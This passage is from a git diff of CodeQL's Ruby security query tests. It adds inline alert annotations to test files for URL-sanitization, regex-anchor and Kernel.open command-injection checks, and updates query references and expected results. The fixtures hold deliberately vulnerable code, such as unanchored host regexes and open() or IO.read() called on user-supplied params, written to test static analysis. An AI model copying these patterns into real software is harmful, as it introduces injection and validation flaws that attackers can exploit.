NOT OK + /^https:\/\/[a-z]*.example.com$/; # NOT OK # $ Alert + Regexp.compile('^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)'); # NOT OK # $ Alert /^(example.dev|example.com)/; # OK - Regexp.new('^http://localhost:8000|' + "^https?://.+.example\\.com/"); # NOT OK + Regexp.new('^http://localhost:8000|' + "^https?://.+.example\\.com/"); # NOT OK # $ Alert primary = 'example.com$'; Regexp.new('test.' + primary); # NOT OK, but not detected @@ -56,7 +56,7 @@ def foo /^http:\/\/(..|...)\.example\.com\/index\.html/; # OK, wildcards are intentional /^http:\/\/.\.example\.com\/index\.html/; # OK, the wildcard is intentional - /^(foo.example\.com|whatever)$/; # kinda OK - one disjunction doesn't even look like a hostname + /^(foo.example\.com|whatever)$/; # kinda OK - one disjunction doesn't even look like a hostname # $ Alert end def id(e); return e; end def convert1(domain) @@ -78,4 +78,4 @@ class B end end -B.match?("^http://test.example.com") # NOT OK +B.match?("^http://test.example.com") # NOT OK # $ Alert diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref index dea02dce153..077f367fe47 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/IncompleteUrlSubstringSanitization.ql +query: queries/security/cwe-020/IncompleteUrlSubstringSanitization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb index dc6d49de57a..11094f6ee0b 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb @@ -1,23 +1,23 @@ def test (x) x.index("internal") != nil; # NOT OK, but not flagged x.index("localhost") != nil; # NOT OK, but not flagged - x.index("secure.com") != nil; # NOT OK - x.index("secure.net") != nil; # NOT OK - x.index(".secure.com") != nil; # NOT OK + x.index("secure.com") != nil; # NOT OK # $ Alert + x.index("secure.net") != nil; # NOT OK # $ Alert + x.index(".secure.com") != nil; # NOT OK # $ Alert x.index("sub.secure.") != nil; # NOT OK, but not flagged x.index(".sub.secure.") != nil; # NOT OK, but not flagged - x.index("secure.com") === nil; # NOT OK - x.index("secure.com") === 0; # NOT OK - x.index("secure.com") >= 0; # NOT OK + x.index("secure.com") === nil; # NOT OK # $ Alert + x.index("secure.com") === 0; # NOT OK # $ Alert + x.index("secure.com") >= 0; # NOT OK # $ Alert - x.start_with?("https://secure.com"); # NOT OK - x.end_with?("secure.com"); # NOT OK + x.start_with?("https://secure.com"); # NOT OK # $ Alert + x.end_with?("secure.com"); # NOT OK # $ Alert x.end_with?(".secure.com"); # OK x.start_with?("secure.com/"); # OK x.index("secure.com/") === 0; # OK - x.include?("secure.com"); # NOT OK + x.include?("secure.com"); # NOT OK # $ Alert x.index("#") != nil; # OK x.index(":") != nil; # OK @@ -29,9 +29,9 @@ def test (x) x.index("some/path") != nil; # OK x.index("/index.html") != nil; # OK x.index(":template:") != nil; # OK - x.index("https://secure.com") != nil; # NOT OK - x.index("https://secure.com:443") != nil; # NOT OK - x.index("https://secure.com/") != nil; # NOT OK + x.index("https://secure.com") != nil; # NOT OK # $ Alert + x.index("https://secure.com:443") != nil; # NOT OK # $ Alert + x.index("https://secure.com/") != nil; # NOT OK # $ Alert x.index(".cn") != nil; # NOT OK, but not flagged x.index(".jpg") != nil; # OK @@ -49,28 +49,28 @@ def test (x) x.index("tar.gz") + offset; # OK x.index("tar.gz") - offset; # OK - x.index("https://example.internal") != nil; # NOT OK + x.index("https://example.internal") != nil; # NOT OK # $ Alert x.index("https://") != nil; # OK - x.start_with?("https://example.internal"); # NOT OK - x.index('https://example.internal.org') != 0; # NOT OK - x.index('https://example.internal.org') === 0; # NOT OK - x.end_with?("internal.com"); # NOT OK + x.start_with?("https://example.internal"); # NOT OK # $ Alert + x.index('https://example.internal.org') != 0; # NOT OK # $ Alert + x.index('https://example.internal.org') === 0; # NOT OK # $ Alert + x.end_with?("internal.com"); # NOT OK # $ Alert x.start_with?("https://example.internal:80"); # OK - x.index("secure.com") != nil; # NOT OK - x.index("secure.com") === nil; # OK - !(x.index("secure.com") != nil); # OK - !x.include?("secure.com"); # OK + x.index("secure.com") != nil; # NOT OK # $ Alert + x.index("secure.com") === nil; # OK # $ Alert + !(x.index("secure.com") != nil); # OK # $ Alert + !x.include?("secure.com"); # OK # $ Alert - if !x.include?("secure.com") # NOT OK + if !x.include?("secure.com") # NOT OK # $ Alert else doSomeThingWithTrustedURL(x); end x.start_with?("https://secure.com/foo/bar"); # OK - a forward slash after the domain makes prefix checks safe. - x.index("https://secure.com/foo/bar") >= 0 # NOT OK - the url can be anywhere in the string. - x.index("https://secure.com") >= 0 # NOT OK - x.index("https://secure.com/foo/bar-baz") >= 0 # NOT OK - the url can be anywhere in the string. + x.index("https://secure.com/foo/bar") >= 0 # NOT OK - the url can be anywhere in the string. # $ Alert + x.index("https://secure.com") >= 0 # NOT OK # $ Alert + x.index("https://secure.com/foo/bar-baz") >= 0 # NOT OK - the url can be anywhere in the string. # $ Alert end diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.expected b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.expected index 4032d044fd8..94cdef1f29b 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.expected +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.expected @@ -1,3 +1,7 @@ +#select +| impl/miss-anchor.rb:3:39:3:42 | name | impl/miss-anchor.rb:2:12:2:15 | name | impl/miss-anchor.rb:3:39:3:42 | name | This value depends on $@, and is $@ against a $@. | impl/miss-anchor.rb:2:12:2:15 | name | library input | impl/miss-anchor.rb:3:39:3:89 | ... !~ ... | checked | impl/miss-anchor.rb:3:48:3:88 | ^[A-Za-z0-9\\+\\-_]+(\\/[A-Za-z0-9\\+\\-_]+)*$ | badly anchored regular expression | +| impl/miss-anchor.rb:7:43:7:46 | name | impl/miss-anchor.rb:6:12:6:15 | name | impl/miss-anchor.rb:7:43:7:46 | name | This value depends on $@, and is $@ against a $@. | impl/miss-anchor.rb:6:12:6:15 | name | library input | impl/miss-anchor.rb:7:43:7:93 | ... !~ ... | checked | impl/miss-anchor.rb:7:52:7:92 | ^[A-Za-z0-9\\+\\-_]+(\\/[A-Za-z0-9\\+\\-_]+)*$ | badly anchored regular expression | +| impl/miss-anchor.rb:15:47:15:50 | name | impl/miss-anchor.rb:14:12:14:15 | name | impl/miss-anchor.rb:15:47:15:50 | name | This value depends on $@, and is $@ against a $@. | impl/miss-anchor.rb:14:12:14:15 | name | library input | impl/miss-anchor.rb:15:47:15:97 | ... !~ ... | checked | impl/miss-anchor.rb:15:56:15:96 | ^[A-Za-z0-9\\+\\-_]+(\\/[A-Za-z0-9\\+\\-_]+)*$ | badly anchored regular expression | edges | impl/miss-anchor.rb:2:12:2:15 | name | impl/miss-anchor.rb:3:39:3:42 | name | provenance | | | impl/miss-anchor.rb:6:12:6:15 | name | impl/miss-anchor.rb:7:43:7:46 | name | provenance | | @@ -10,7 +14,3 @@ nodes | impl/miss-anchor.rb:14:12:14:15 | name | semmle.label | name | | impl/miss-anchor.rb:15:47:15:50 | name | semmle.label | name | subpaths -#select -| impl/miss-anchor.rb:3:39:3:42 | name | impl/miss-anchor.rb:2:12:2:15 | name | impl/miss-anchor.rb:3:39:3:42 | name | This value depends on $@, and is $@ against a $@. | impl/miss-anchor.rb:2:12:2:15 | name | library input | impl/miss-anchor.rb:3:39:3:89 | ... !~ ... | checked | impl/miss-anchor.rb:3:48:3:88 | ^[A-Za-z0-9\\+\\-_]+(\\/[A-Za-z0-9\\+\\-_]+)*$ | badly anchored regular expression | -| impl/miss-anchor.rb:7:43:7:46 | name | impl/miss-anchor.rb:6:12:6:15 | name | impl/miss-anchor.rb:7:43:7:46 | name | This value depends on $@, and is $@ against a $@. | impl/miss-anchor.rb:6:12:6:15 | name | library input | impl/miss-anchor.rb:7:43:7:93 | ... !~ ... | checked | impl/miss-anchor.rb:7:52:7:92 | ^[A-Za-z0-9\\+\\-_]+(\\/[A-Za-z0-9\\+\\-_]+)*$ | badly anchored regular expression | -| impl/miss-anchor.rb:15:47:15:50 | name | impl/miss-anchor.rb:14:12:14:15 | name | impl/miss-anchor.rb:15:47:15:50 | name | This value depends on $@, and is $@ against a $@. | impl/miss-anchor.rb:14:12:14:15 | name | library input | impl/miss-anchor.rb:15:47:15:97 | ... !~ ... | checked | impl/miss-anchor.rb:15:56:15:96 | ^[A-Za-z0-9\\+\\-_]+(\\/[A-Za-z0-9\\+\\-_]+)*$ | badly anchored regular expression | diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref index 4b61fcc56d7..8de0d5036bb 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/MissingFullAnchor.ql \ No newline at end of file +query: queries/security/cwe-020/MissingFullAnchor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb index c488990062a..2ae1020e6d6 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb @@ -1,17 +1,17 @@ class Foobar - def foo1(name) - raise Blabity, 'Invalid thing' if name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK + def foo1(name) # $ Source + raise Blabity, 'Invalid thing' if name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK # $ Alert end - def foo2(name) - raise Blabity, 'Invalid thing' unless name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK + def foo2(name) # $ Source + raise Blabity, 'Invalid thing' unless name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK # $ Alert end def foo3(name) raise Blabity, 'Invalid thing' unless name !~ /\A[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*\z/ # OK end - def foo4(name) - raise Blabity, 'Invalid thing' unless not name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK + def foo4(name) # $ Source + raise Blabity, 'Invalid thing' unless not name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref index bd3ad563aec..ffb6ae961f6 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/MissingRegExpAnchor.ql \ No newline at end of file +query: queries/security/cwe-020/MissingRegExpAnchor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb index 11410d7db1f..ac2fd382934 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb @@ -1,11 +1,11 @@ -/www\.example\.com/ # BAD +/www\.example\.com/ # BAD # $ Alert /^www\.example\.com$/ # BAD: uses end-of-line anchors rather than end-of-string anchors /\Awww\.example\.com\z/ # GOOD /foo\.bar/ # GOOD -/https?:\/\/good\.com/ # BAD -/^https?:\/\/good\.com/ # BAD: missing end-of-string anchor +/https?:\/\/good\.com/ # BAD # $ Alert +/^https?:\/\/good\.com/ # BAD: missing end-of-string anchor # $ Alert /(^https?:\/\/good1\.com)|(^https?:#good2\.com)/ # BAD: missing end-of-string anchor /bar/ # GOOD @@ -16,40 +16,40 @@ foo.gsub!(/www\.example\.com/, "bar") # GOOD foo.sub!(/www\.example\.com/, "bar") # GOOD /^a|/ -/^a|b/ # BAD +/^a|b/ # BAD # $ Alert /a|^b/ /^a|^b/ -/^a|b|c/ # BAD +/^a|b|c/ # BAD # $ Alert /a|^b|c/ /a|b|^c/ /^a|^b|c/ /(^a)|b/ -/^a|(b)/ # BAD +/^a|(b)/ # BAD # $ Alert /^a|(^b)/ -/^(a)|(b)/ # BAD +/^(a)|(b)/ # BAD # $ Alert -/a|b$/ # BAD +/a|b$/ # BAD # $ Alert /a$|b/ /a$|b$/ -/a|b|c$/ # BAD +/a|b|c$/ # BAD # $ Alert /a|b$|c/ /a$|b|c/ /a|b$|c$/ /a|(b$)/ -/(a)|b$/ # BAD +/(a)|b$/ # BAD # $ Alert /(a$)|b$/ -/(a)|(b)$/ # BAD +/(a)|(b)$/ # BAD # $ Alert -/^good.com|better.com/ # BAD -/^good\.com|better\.com/ # BAD -/^good\\.com|better\\.com/ # BAD -/^good\\\.com|better\\\.com/ # BAD -/^good\\\\.com|better\\\\.com/ # BAD +/^good.com|better.com/ # BAD # $ Alert +/^good\.com|better\.com/ # BAD # $ Alert +/^good\\.com|better\\.com/ # BAD # $ Alert +/^good\\\.com|better\\\.com/ # BAD # $ Alert +/^good\\\\.com|better\\\\.com/ # BAD # $ Alert -/^foo|bar|baz$/ # BAD +/^foo|bar|baz$/ # BAD # $ Alert /^foo|%/ # OK REGEXP = /foo/ @@ -57,5 +57,5 @@ REGEXP.match? "http://example.com" # GOOD: the url is the text not the regexp REGEXP.match "http://example.com" # GOOD: the url is the text not the regexp "http://example.com".match? REGEXP # GOOD: the url is the text not the regexp "http://example.com".match REGEXP # GOOD: the url is the text not the regexp -"some text".match? "http://example.com" # BAD -"some text".match "http://example.com" # BAD +"some text".match? "http://example.com" # BAD # $ Alert +"some text".match "http://example.com" # BAD # $ Alert diff --git a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref index f1d6eea73c2..476daefd7f3 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/OverlyLargeRange.ql +query: queries/security/cwe-020/OverlyLargeRange.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb index ed6ffe21b14..18aaf573afa 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb @@ -1,8 +1,8 @@ -overlap1 = /^[0-93-5]$/ # NOT OK +overlap1 = /^[0-93-5]$/ # NOT OK # $ Alert -overlap2 = /[A-ZA-z]/ # NOT OK +overlap2 = /[A-ZA-z]/ # NOT OK # $ Alert -isEmpty = /^[z-a]$/ # NOT OK +isEmpty = /^[z-a]$/ # NOT OK # $ Alert isAscii = /^[\x00-\x7F]*$/ # OK @@ -12,22 +12,22 @@ codePoints = /[^\x21-\x7E]|[\[\](){}<>\/%]/ # OK NON_ALPHANUMERIC_REGEXP = /([^\#-~| |!])/ # OK -smallOverlap = /[0-9a-fA-f]/ # NOT OK +smallOverlap = /[0-9a-fA-f]/ # NOT OK # $ Alert -weirdRange = /[$-`]/ # NOT OK +weirdRange = /[$-`]/ # NOT OK # $ Alert -keywordOperator = /[!\~\*\/%+-<>\^|=&]/ # NOT OK +keywordOperator = /[!\~\*\/%+-<>\^|=&]/ # NOT OK # $ Alert -notYoutube = /youtu\.be\/[a-z1-9.-_]+/ # NOT OK +notYoutube = /youtu\.be\/[a-z1-9.-_]+/ # NOT OK # $ Alert -numberToLetter = /[7-F]/ # NOT OK +numberToLetter = /[7-F]/ # NOT OK # $ Alert -overlapsWithClass1 = /[0-9\d]/ # NOT OK +overlapsWithClass1 = /[0-9\d]/ # NOT OK # $ Alert -overlapsWithClass2 = /[\w,.-?:*+]/ # NOT OK +overlapsWithClass2 = /[\w,.-?:*+]/ # NOT OK # $ Alert escapes = /[\000-\037\047\134\177-\377]/n # OK - they are escapes nested = /[a-z&&[^a-c]]/ # OK -overlapsWithNothing = /[\w_%-.]/; \ No newline at end of file +overlapsWithNothing = /[\w_%-.]/; # $ Alert \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.expected b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.expected index 67e618a3a1f..25fd9e3e37a 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.expected +++ b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.expected @@ -1,3 +1,14 @@ +#select +| KernelOpen.rb:4:10:4:13 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:4:10:4:13 | file | This call to Kernel.open depends on a $@. Consider replacing it with File.open. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | +| KernelOpen.rb:5:13:5:16 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:5:13:5:16 | file | This call to IO.read depends on a $@. Consider replacing it with File.read. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | +| KernelOpen.rb:6:14:6:17 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:6:14:6:17 | file | This call to IO.write depends on a $@. Consider replacing it with File.write. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | +| KernelOpen.rb:7:16:7:19 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:7:16:7:19 | file | This call to IO.binread depends on a $@. Consider replacing it with File.binread. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | +| KernelOpen.rb:8:17:8:20 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:8:17:8:20 | file | This call to IO.binwrite depends on a $@. Consider replacing it with File.binwrite. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | +| KernelOpen.rb:9:16:9:19 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:9:16:9:19 | file | This call to IO.foreach depends on a $@. Consider replacing it with File.foreach. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | +| KernelOpen.rb:10:18:10:21 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:10:18:10:21 | file | This call to IO.readlines depends on a $@. Consider replacing it with File.readlines. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | +| KernelOpen.rb:11:14:11:17 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:11:14:11:17 | file | This call to URI.open depends on a $@. Consider replacing it with URI().open. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | +| KernelOpen.rb:13:13:13:31 | call to join | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:13:13:13:31 | call to join | This call to IO.read depends on a $@. Consider replacing it with File.read. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | +| KernelOpen.rb:26:10:26:13 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:26:10:26:13 | file | This call to Kernel.open depends on a $@. Consider replacing it with File.open. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | edges | KernelOpen.rb:3:5:3:8 | file | KernelOpen.rb:4:10:4:13 | file | provenance | | | KernelOpen.rb:3:5:3:8 | file | KernelOpen.rb:5:13:5:16 | file | provenance | | @@ -28,14 +39,3 @@ nodes | KernelOpen.rb:13:23:13:26 | file | semmle.label | file | | KernelOpen.rb:26:10:26:13 | file | semmle.label | file | subpaths -#select -| KernelOpen.rb:4:10:4:13 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:4:10:4:13 | file | This call to Kernel.open depends on a $@. Consider replacing it with File.open. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | -| KernelOpen.rb:5:13:5:16 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:5:13:5:16 | file | This call to IO.read depends on a $@. Consider replacing it with File.read. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | -| KernelOpen.rb:6:14:6:17 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:6:14:6:17 | file | This call to IO.write depends on a $@. Consider replacing it with File.write. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | -| KernelOpen.rb:7:16:7:19 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:7:16:7:19 | file | This call to IO.binread depends on a $@. Consider replacing it with File.binread. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | -| KernelOpen.rb:8:17:8:20 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:8:17:8:20 | file | This call to IO.binwrite depends on a $@. Consider replacing it with File.binwrite. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | -| KernelOpen.rb:9:16:9:19 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:9:16:9:19 | file | This call to IO.foreach depends on a $@. Consider replacing it with File.foreach. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | -| KernelOpen.rb:10:18:10:21 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:10:18:10:21 | file | This call to IO.readlines depends on a $@. Consider replacing it with File.readlines. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | -| KernelOpen.rb:11:14:11:17 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:11:14:11:17 | file | This call to URI.open depends on a $@. Consider replacing it with URI().open. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | -| KernelOpen.rb:13:13:13:31 | call to join | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:13:13:13:31 | call to join | This call to IO.read depends on a $@. Consider replacing it with File.read. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | -| KernelOpen.rb:26:10:26:13 | file | KernelOpen.rb:3:12:3:17 | call to params | KernelOpen.rb:26:10:26:13 | file | This call to Kernel.open depends on a $@. Consider replacing it with File.open. | KernelOpen.rb:3:12:3:17 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref index aea01648c78..b8b59265f26 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref +++ b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref @@ -1 +1,2 @@ -queries/security/cwe-078/KernelOpen.ql \ No newline at end of file +query: queries/security/cwe-078/KernelOpen.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb index 412e2c50ead..c5e3707ef39 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.rb @@ -1,16 +1,16 @@ class UsersController < ActionController::Base def create - file = params[:file] - open(file) # BAD - IO.read(file) # BAD - IO.write(file) # BAD - IO.binread(file) # BAD - IO.binwrite(file) # BAD - IO.foreach(file) # BAD - IO.readlines(file) # BAD - URI.open(file) # BAD + file = params[:file] # $ Source + open(file) # BAD # $ Alert + IO.read(file) # BAD # $ Alert + IO.write(file) # BAD # $ Alert + IO.binread(file) # BAD # $ Alert + IO.binwrite(file) # BAD # $ Alert + IO.foreach(file) # BAD # $ Alert + IO.readlines(file) # BAD # $ Alert + URI.open(file) # BAD # $ Alert - IO.read(File.join(file, "")) # BAD - file as first argument to File.join + IO.read(File.join(file, "")) # BAD - file as first argument to File.join # $ Alert IO.read(File.join("", file)) # GOOD - file path is sanitised by guard File.open(file).read # GOOD @@ -23,6 +23,6 @@ class UsersController < ActionController::Base IO.read(file) # GOOD - file path is sanitised by guard end - open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized + open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref index 0b23d9102b9..7b559b55ae0 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref +++ b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.qlref @@ -1 +1,2 @@ -queries/security/cwe-078/NonConstantKernelOpen.ql \ No newline at end of file +query: queries/security/cwe-078/NonConstantKernelOpen.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb index 6b8294fa111..50d99c9b784 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb +++ b/ruby/ql/test/query-tests/security/cwe-078/NonConstantKernelOpen/NonConstantKernelOpen.rb @@ -4,18 +4,18 @@ class UsersController < ActionController::Base def create file = params[:file] - open(file) # BAD - IO.read(file) # BAD - IO.write(file) # BAD - IO.binread(file) # BAD - IO.binwrite(file) # BAD - IO.foreach(file) # BAD - IO.readlines(file) # BAD - URI.open(file) # BAD + open(file) # BAD # $ Alert + IO.read(file) # BAD # $ Alert + IO.write(file) # BAD # $ Alert + IO.binread(file) # BAD # $ Alert + IO.binwrite(file) # BAD # $ Alert + IO.foreach(file) # BAD # $ Alert + IO.readlines(file) # BAD # $ Alert + URI.open(file) # BAD # $ Alert File.open(file).read # GOOD - Kernel.open(file) # BAD + Kernel.open(file) # BAD # $ Alert File.open(file, "r") # GOOD @@ -25,7 +25,7 @@ class UsersController < ActionController::Base Kernel.open("this is #{fine}") # GOOD - Kernel.open("#{this_is} bad") # BAD + Kernel.open("#{this_is} bad") # BAD # $ Alert open("| #{this_is_an_explicit_command} foo bar") # GOOD @@ -43,6 +43,6 @@ class UsersController < ActionController::Base open.where(external: false) # GOOD - an open method is called withoout arguments - open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized + open(file) # BAD - sanity check to verify that file was not mistakenly marked as sanitized # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected index 622777da09e..adefbb03c64 100644 --- a/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected +++ b/ruby/ql/test/query-tests/security/cwe-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected @@ -1,3 +1,19 @@ +#select +| impl/sub/notImported.rb:3:14:3:28 | "cat #{...}" | impl/sub/notImported.rb:2:12:2:17 | target | impl/sub/notImported.rb:3:19:3:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/sub/notImported.rb:2:12:2:17 | target | library input | impl/sub/notImported.rb:3:5:3:34 | call to popen | shell command | +| impl/sub/other2.rb:3:14:3:28 | "cat #{...}" | impl/sub/other2.rb:2:12:2:17 | target | impl/sub/other2.rb:3:19:3:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/sub/other2.rb:2:12:2:17 | target | library input | impl/sub/other2.rb:3:5:3:34 | call to popen | shell command | +| impl/sub/other.rb:3:14:3:28 | "cat #{...}" | impl/sub/other.rb:2:12:2:17 | target | impl/sub/other.rb:3:19:3:27 | #{...} | This string construction which depends on $@ is later used in a $@. | impl/sub/other.rb:2:12:2:17 | target | library input | 